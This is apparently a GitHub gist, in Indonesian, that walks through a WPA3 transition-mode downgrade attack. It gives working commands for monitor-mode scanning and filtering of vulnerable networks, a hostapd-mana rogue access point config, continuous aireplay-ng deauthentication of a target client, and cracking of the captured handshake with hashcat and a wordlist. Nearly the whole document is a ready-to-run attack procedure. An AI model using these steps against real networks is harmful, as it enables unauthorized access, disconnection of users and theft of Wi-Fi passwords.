Skip to content

Instantly share code, notes, and snippets.

@fixploit03
Created April 15, 2026 17:47
Show Gist options
  • Select an option

  • Save fixploit03/a50a360f610eef413f0b011a664b15de to your computer and use it in GitHub Desktop.

Select an option

Save fixploit03/a50a360f610eef413f0b011a664b15de to your computer and use it in GitHub Desktop.
WPA3 Transition Mode Downgrade Attack

WPA3 Transition Mode Downgrade Attack

Syarat Pengujian

  • Hak akses root (sudo)
  • 2 adapter Wi-Fi (support mode monitor & AP)
  • Keamanan: WPA2/WPA3-Personal
  • PMF: Nonaktif (0)
  • Minimal ada 1 client yang aktif
  • 4-Way Handshake (minimal M1 & M2)
  • File Wordlist

Konfigurasi Interface

  • wlan0 untuk rogue AP
  • wlan1 untuk menjalankan serangan deauth

Langkah-Langkah

1. Aktifkan Mode Monitor

airmon-ng check kill
airmon-ng start wlan1

2. Scan Wi-Fi Selama 1 Menit

timeout 60 airodump-ng -t wpa -w capture --output-format pcap wlan1

3. Filter Wi-Fi yang Rentan

tshark -r capture-01.cap -Y "wlan.fc.type_subtype == 8 && (wlan.rsn.akms.type == 2 && wlan.rsn.akms.type == 8) && wlan.rsn.capabilities.mfpr == 0 && wlan.rsn.capabilities.mfpc == 0"

4. Buat File Konfigurasi Rogue AP

nano hostapd-mana.conf

Isi dengan:

interface=wlan0
driver=nl80211
ssid=[ssid]
channel=[channel]
hw_mode=g
wpa=2
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
wpa_passphrase=12345678
mana_wpaout=hostapd-mana.hccapx

5. Jalankan Rogue AP

hostapd-mana hostapd-mana.conf

6. Jalankan Serangan Deauth

aireplay-ng -0 0 -a [bssid] -c [mac_client] wlan1

Jika di terminal rogue AP sudah ada hash yang muncul, tekan CTRL+C untuk menghentikan rogue AP.

7. Buang Bagian yang Tidak Penting pada File Hash

awk '{print $3}' hostapd-mana.hccapx > hash.txt

8. Crack Password WPA2-PSK

hashcat -a 0 -m 22000 hash.txt /usr/share/wordlists/rockyou.txt
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment